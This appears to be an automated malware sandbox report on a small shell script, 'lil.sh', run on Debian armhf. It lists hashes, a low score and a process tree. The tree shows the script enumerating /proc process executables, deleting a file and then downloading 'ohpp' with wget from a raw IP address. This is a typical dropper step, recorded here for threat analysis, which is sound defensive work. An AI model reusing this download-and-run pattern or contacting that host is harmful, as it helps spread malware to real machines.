Overview

overview

3

Static

static

1

lil.sh

ubuntu-18.04-amd64

3

lil.sh

debian-9-armhf

3

lil.sh

debian-9-mips

3

lil.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/06/2026, 01:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lil.sh
  • Size 852B
  • Sample260629-b96cfaax4s
  • SHA256 ac613f86b27b3df61d7c881f1b0997e11521639b08132c5dd3d8f4de65901ea8
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/lil.sh
    /tmp/lil.sh
    1⤵
      PID:659
      • /bin/ls
        ls -l /proc/1/exe
        2⤵
        • Reads runtime system information
        PID:662
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:668
      • /bin/ls
        ls -l /proc/104/exe
        2⤵
        • Reads runtime system information
        PID:673
      • /bin/ls
        ls -l /proc/11/exe
        2⤵
        • Reads runtime system information
        PID:681
      • /bin/ls
        ls -l /proc/113/exe
        2⤵
        • Reads runtime system information
        PID:683
      • /bin/ls
        ls -l /proc/115/exe
        2⤵
        • Reads runtime system information
        PID:685
      • /bin/ls
        ls -l /proc/116/exe
        2⤵
        • Reads runtime system information
        PID:687
      • /bin/ls
        ls -l /proc/12/exe
        2⤵
        • Reads runtime system information
        PID:690
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:691
      • /bin/ls
        ls -l /proc/14/exe
        2⤵
        • Reads runtime system information
        PID:693
      • /bin/ls
        ls -l /proc/143/exe
        2⤵
        • Reads runtime system information
        PID:694
      • /bin/ls
        ls -l /proc/144/exe
        2⤵
        • Reads runtime system information
        PID:695
      • /bin/ls
        ls -l /proc/147/exe
        2⤵
        • Reads runtime system information
        PID:696
      • /bin/ls
        ls -l /proc/15/exe
        2⤵
        • Reads runtime system information
        PID:698
      • /bin/ls
        ls -l /proc/16/exe
        2⤵
        • Reads runtime system information
        PID:699
      • /bin/ls
        ls -l /proc/164/exe
        2⤵
        • Reads runtime system information
        PID:700
      • /bin/ls
        ls -l /proc/17/exe
        2⤵
        • Reads runtime system information
        PID:701
      • /bin/ls
        ls -l /proc/176/exe
        2⤵
        • Reads runtime system information
        PID:702
      • /bin/ls
        ls -l /proc/18/exe
        2⤵
        • Reads runtime system information
        PID:703
      • /bin/ls
        ls -l /proc/19/exe
        2⤵
        • Reads runtime system information
        PID:704
      • /bin/ls
        ls -l /proc/2/exe
        2⤵
        • Reads runtime system information
        PID:705
      • /bin/ls
        ls -l /proc/20/exe
        2⤵
        • Reads runtime system information
        PID:706
      • /bin/ls
        ls -l /proc/21/exe
        2⤵
        • Reads runtime system information
        PID:707
      • /bin/ls
        ls -l /proc/22/exe
        2⤵
        • Reads runtime system information
        PID:708
      • /bin/ls
        ls -l /proc/226/exe
        2⤵
        • Reads runtime system information
        PID:709
      • /bin/ls
        ls -l /proc/23/exe
        2⤵
        • Reads runtime system information
        PID:710
      • /bin/ls
        ls -l /proc/24/exe
        2⤵
        • Reads runtime system information
        PID:711
      • /bin/ls
        ls -l /proc/25/exe
        2⤵
        • Reads runtime system information
        PID:712
      • /bin/ls
        ls -l /proc/26/exe
        2⤵
        • Reads runtime system information
        PID:713
      • /bin/ls
        ls -l /proc/27/exe
        2⤵
        • Reads runtime system information
        PID:714
      • /bin/ls
        ls -l /proc/28/exe
        2⤵
        • Reads runtime system information
        PID:715
      • /bin/ls
        ls -l /proc/285/exe
        2⤵
        • Reads runtime system information
        PID:716
      • /bin/ls
        ls -l /proc/288/exe
        2⤵
        • Reads runtime system information
        PID:717
      • /bin/ls
        ls -l /proc/289/exe
        2⤵
        • Reads runtime system information
        PID:718
      • /bin/ls
        ls -l /proc/29/exe
        2⤵
        • Reads runtime system information
        PID:719
      • /bin/ls
        ls -l /proc/3/exe
        2⤵
        • Reads runtime system information
        PID:720
      • /bin/ls
        ls -l /proc/307/exe
        2⤵
        • Reads runtime system information
        PID:721
      • /bin/ls
        ls -l /proc/310/exe
        2⤵
        • Reads runtime system information
        PID:722
      • /bin/ls
        ls -l /proc/315/exe
        2⤵
        • Reads runtime system information
        PID:723
      • /bin/ls
        ls -l /proc/322/exe
        2⤵
        • Reads runtime system information
        PID:724
      • /bin/ls
        ls -l /proc/338/exe
        2⤵
        • Reads runtime system information
        PID:725
      • /bin/ls
        ls -l /proc/342/exe
        2⤵
        • Reads runtime system information
        PID:726
      • /bin/ls
        ls -l /proc/4/exe
        2⤵
        • Reads runtime system information
        PID:727
      • /bin/ls
        ls -l /proc/41/exe
        2⤵
        • Reads runtime system information
        PID:728
      • /bin/ls
        ls -l /proc/42/exe
        2⤵
        • Reads runtime system information
        PID:729
      • /bin/ls
        ls -l /proc/43/exe
        2⤵
        • Reads runtime system information
        PID:730
      • /bin/ls
        ls -l /proc/5/exe
        2⤵
        • Reads runtime system information
        PID:733
      • /bin/ls
        ls -l /proc/581/exe
        2⤵
        • Reads runtime system information
        PID:735
      • /bin/ls
        ls -l /proc/594/exe
        2⤵
        • Reads runtime system information
        PID:737
      • /bin/ls
        ls -l /proc/596/exe
        2⤵
          PID:739
        • /bin/ls
          ls -l /proc/6/exe
          2⤵
          • Reads runtime system information
          PID:741
        • /bin/ls
          ls -l /proc/605/exe
          2⤵
          • Reads runtime system information
          PID:744
        • /bin/ls
          ls -l /proc/606/exe
          2⤵
          • Reads runtime system information
          PID:745
        • /bin/ls
          ls -l /proc/643/exe
          2⤵
          • Reads runtime system information
          PID:748
        • /bin/ls
          ls -l /proc/649/exe
          2⤵
          • Reads runtime system information
          PID:750
        • /bin/ls
          ls -l /proc/650/exe
          2⤵
          • Reads runtime system information
          PID:752
        • /bin/ls
          ls -l /proc/655/exe
          2⤵
          • Reads runtime system information
          PID:755
        • /bin/ls
          ls -l /proc/656/exe
          2⤵
          • Reads runtime system information
          PID:757
        • /bin/ls
          ls -l /proc/658/exe
          2⤵
          • Reads runtime system information
          PID:759
        • /bin/ls
          ls -l /proc/659/exe
          2⤵
          • Reads runtime system information
          PID:761
        • /bin/ls
          ls -l /proc/660/exe
          2⤵
          • Reads runtime system information
          PID:763
        • /bin/ls
          ls -l /proc/7/exe
          2⤵
          • Reads runtime system information
          PID:765
        • /bin/ls
          ls -l /proc/8/exe
          2⤵
          • Reads runtime system information
          PID:767
        • /bin/ls
          ls -l /proc/83/exe
          2⤵
          • Reads runtime system information
          PID:770
        • /bin/ls
          ls -l /proc/9/exe
          2⤵
          • Reads runtime system information
          PID:772
        • /bin/rm
          rm -rf ohpp
          2⤵
            PID:774
          • /usr/bin/wget
            wget http://129.121.114.124/ohpp
            2⤵
              PID:776

          Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads